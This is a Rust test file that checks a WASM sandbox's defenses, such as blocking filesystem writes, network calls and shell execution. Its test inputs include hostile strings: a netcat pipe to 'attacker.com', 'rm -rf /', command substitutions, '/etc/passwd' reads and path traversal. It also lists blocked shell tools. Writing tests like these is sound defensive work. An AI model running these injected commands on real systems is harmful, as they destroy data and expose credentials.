Vapora/crates/vapora-rlm/tests/security_test.rs
2026-02-16 05:09:51 +00:00

359 lines
9.7 KiB
Rust

// Security Tests for RLM Sandbox
// Tests require: Docker (for sandbox testing)
//
// Run with:
// cargo test -p vapora-rlm --test security_test -- --ignored --nocapture
use vapora_rlm::sandbox::wasm_runtime::WasmRuntime;
use vapora_rlm::sandbox::{SandboxCommand, SandboxTier};
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_no_filesystem_write() {
let runtime = WasmRuntime::new();
// Attempt to write to filesystem (should be blocked)
let command = SandboxCommand::new("write_file")
.arg("/etc/passwd")
.stdin("malicious content");
let result = runtime.execute(&command);
// Should reject unsupported command
assert!(result.is_err(), "Should reject filesystem write operations");
println!("✓ WASM filesystem write blocked");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_no_network_access() {
let runtime = WasmRuntime::new();
// Attempt network operation (should be blocked)
let command = SandboxCommand::new("curl").arg("http://example.com");
let result = runtime.execute(&command);
// Should reject unsupported command
assert!(result.is_err(), "Should reject network operations");
println!("✓ WASM network access blocked");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_only_safe_commands() {
let runtime = WasmRuntime::new();
// Test allowed commands
let safe_commands = vec!["peek", "grep", "slice"];
for cmd in safe_commands {
let command = SandboxCommand::new(cmd).stdin("safe input");
let result = runtime.execute(&command);
assert!(result.is_ok(), "Safe command '{}' should be allowed", cmd);
}
// Test blocked commands
let unsafe_commands = vec!["bash", "sh", "python", "rm", "chmod", "sudo"];
for cmd in unsafe_commands {
let command = SandboxCommand::new(cmd).stdin("input");
let result = runtime.execute(&command);
assert!(
result.is_err(),
"Unsafe command '{}' should be blocked",
cmd
);
}
println!("✓ WASM command whitelist enforced");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_input_validation() {
let runtime = WasmRuntime::new();
// Test peek with malicious input
let malicious_inputs = vec![
"../../../etc/passwd",
"/etc/passwd",
"$(whoami)",
"; rm -rf /",
"| nc attacker.com 1234",
];
for input in malicious_inputs {
let command = SandboxCommand::new("peek").arg("10").stdin(input);
let result = runtime.execute(&command);
// Should handle safely (no code injection)
assert!(result.is_ok(), "Should handle malicious input safely");
let output = result.unwrap();
assert!(output.is_success(), "Should execute without errors");
// Output should be sanitized (just the input back)
assert!(
!output.output.contains("root:") && !output.output.contains("password"),
"Should not leak system information"
);
}
println!("✓ WASM input validation passed");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_no_arbitrary_code_execution() {
let runtime = WasmRuntime::new();
// Attempt shell command injection
let injections = vec![
"; ls -la",
"| cat /etc/passwd",
"&& whoami",
"`id`",
"$(uname -a)",
];
for injection in injections {
let command = SandboxCommand::new("grep")
.arg(injection)
.stdin("test input");
let result = runtime.execute(&command);
// Should execute safely (grep treats it as literal pattern)
assert!(result.is_ok(), "Should handle injection safely");
let output = result.unwrap();
// Should not execute shell commands
assert!(
!output.output.contains("uid=") && !output.output.contains("Linux"),
"Should not execute injected shell commands"
);
}
println!("✓ WASM code injection prevention passed");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_resource_limits() {
let runtime = WasmRuntime::new();
// Test with very large input (should handle gracefully)
let large_input = "x".repeat(10_000_000); // 10MB
let command = SandboxCommand::new("peek").arg("10").stdin(large_input);
let start = std::time::Instant::now();
let result = runtime.execute(&command);
let duration = start.elapsed();
// Should complete without hanging
assert!(
duration.as_secs() < 10,
"Should complete in reasonable time"
);
// Should either succeed or fail gracefully
match result {
Ok(output) => {
assert!(output.is_success(), "Should succeed");
println!(" Handled 10MB input successfully");
}
Err(e) => {
println!(" Gracefully rejected large input: {}", e);
}
}
println!("✓ WASM resource limits enforced");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_tier_identification() {
let runtime = WasmRuntime::new();
let command = SandboxCommand::new("peek").arg("5").stdin("test input");
let result = runtime.execute(&command).unwrap();
// Verify it reports correct tier
assert_eq!(
result.tier,
SandboxTier::Wasm,
"Should execute in WASM tier"
);
println!("✓ WASM tier correctly identified");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_no_side_effects() {
let runtime = WasmRuntime::new();
// Execute command multiple times
for i in 0..10 {
let command = SandboxCommand::new("grep")
.arg("test")
.stdin(format!("test input {}", i));
let result = runtime.execute(&command).unwrap();
// Each execution should be isolated (no state carryover)
assert!(result.is_success(), "Execution {} should succeed", i);
}
println!("✓ WASM executions are isolated (no side effects)");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_deterministic_behavior() {
let runtime = WasmRuntime::new();
let input = "line1\nline2\nline3\nline4\nline5";
// Run same command multiple times
let mut outputs = Vec::new();
for _ in 0..5 {
let command = SandboxCommand::new("peek").arg("3").stdin(input);
let result = runtime.execute(&command).unwrap();
outputs.push(result.output);
}
// All outputs should be identical
for output in &outputs[1..] {
assert_eq!(output, &outputs[0], "Outputs should be deterministic");
}
println!("✓ WASM behavior is deterministic");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_slice_bounds_checking() {
let runtime = WasmRuntime::new();
let input = "Hello, World!";
// Test out-of-bounds slice
let command = SandboxCommand::new("slice")
.arg("0")
.arg("1000") // Beyond string length
.stdin(input);
let result = runtime.execute(&command);
// Should handle gracefully (no panic)
assert!(result.is_ok(), "Should handle out-of-bounds slice");
let output = result.unwrap();
assert!(output.is_success(), "Should succeed");
assert_eq!(output.output, input, "Should return available content");
println!("✓ WASM slice bounds checking passed");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_null_byte_handling() {
let runtime = WasmRuntime::new();
// Test null byte injection
let input = "line1\nline2\0malicious\nline3";
let command = SandboxCommand::new("peek").arg("5").stdin(input);
let result = runtime.execute(&command);
// Should handle null bytes safely
assert!(result.is_ok(), "Should handle null bytes safely");
println!("✓ WASM null byte handling passed");
}
#[test]
fn security_wasm_creation_always_succeeds() {
// Creating WASM runtime should never fail
let _runtime1 = WasmRuntime::new();
let _runtime2 = WasmRuntime::default();
// Can create multiple instances
let runtimes: Vec<_> = (0..10).map(|_| WasmRuntime::new()).collect();
assert_eq!(runtimes.len(), 10, "Should create multiple runtimes");
println!("✓ WASM runtime creation is safe");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_concurrent_execution() {
use std::sync::Arc;
use std::thread;
let runtime = Arc::new(WasmRuntime::new());
// Run concurrent executions from multiple threads
let handles: Vec<_> = (0..10)
.map(|i| {
let runtime = runtime.clone();
thread::spawn(move || {
let command = SandboxCommand::new("grep")
.arg("test")
.stdin(format!("test input {}", i));
runtime.execute(&command)
})
})
.collect();
// All should succeed
for handle in handles {
let result = handle.join().unwrap();
assert!(result.is_ok(), "Concurrent execution should succeed");
}
println!("✓ WASM concurrent execution is thread-safe");
}
#[test]
#[ignore] // Requires WASM runtime
fn security_wasm_utf8_handling() {
let runtime = WasmRuntime::new();
// Test various UTF-8 sequences
let utf8_inputs = vec![
"Hello, 世界!",
"Rust 🦀 Programming",
"Emoji: 😀 💻 🚀",
"Math: ∑ ∏ ∫ ∂",
"Arabic: مرحبا",
"Hebrew: שלום",
];
for input in utf8_inputs {
let command = SandboxCommand::new("peek").arg("10").stdin(input);
let result = runtime.execute(&command);
assert!(result.is_ok(), "Should handle UTF-8: {}", input);
let output = result.unwrap();
assert!(output.is_success(), "Should succeed with UTF-8");
}
println!("✓ WASM UTF-8 handling passed");
}